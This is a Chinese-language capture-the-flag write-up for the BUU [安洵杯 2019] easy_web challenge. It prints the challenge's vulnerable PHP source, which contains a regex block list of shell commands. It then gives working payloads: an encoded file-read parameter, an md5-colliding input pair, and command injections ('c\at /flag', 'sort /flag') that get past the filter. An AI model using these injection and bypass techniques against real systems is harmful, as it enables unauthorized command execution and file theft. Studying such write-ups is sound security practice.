BUU [安洵杯 2019]easy_web
先看题目,没有什么信息。
源码里面有点东西,解个base64看看。
应该是个图片,就是一开始那个熊猫头。再看看,注意到url上面的参数。
TXpVek5UTTFNbVUzTURabE5qYz0 MzUzNTM1MmU3MDZlNjc= //(base64) 3535352e706e67 //(base64) 555.png //(十六进制转字符串)
那按这个道理,能不能包含他的index.php,试试,?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,果然有用。这个直接变成了源码的base64编码。
解码得。(所以这里考文件包含)
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } **************************************************************************************** else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ***************************************************************************************** ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
仔细读一下。不能直接包含flag。过滤的有点多,满足(string)P O S T [ ′ a ′ ] ! = = ( s t r i n g ) _POST['a'] !== (string) POST[‘b’] && md5(P O S T [ ′ a ′ ] ) = = = m d 5 ( _POST['a']) === md5( POST[‘b’])就能执行cmd。因为有(string)强制类型转换,所以不能数组绕过。
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
一开始MD5一直过不去,后来看了别人的wp,受益匪浅(小细节):
解法一:(所以这里考RCE)
使用了两个反斜杠和四个反斜杠来过滤,但正则表达式中需要三个反斜杠才可以匹配到一个真正的反斜杠,所以实际上反斜杠没有被过滤。
传入ca\t时,\\, \\\\, \t,是匹配不上的,\\t, \\\t竟然也匹配不上 , 直到用了\\\\t才匹配上
cmd=c\at%20/flag
解法二:
也可以使用linux下的sort命令来进行文件读取 :
sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。
cmd=sort /flag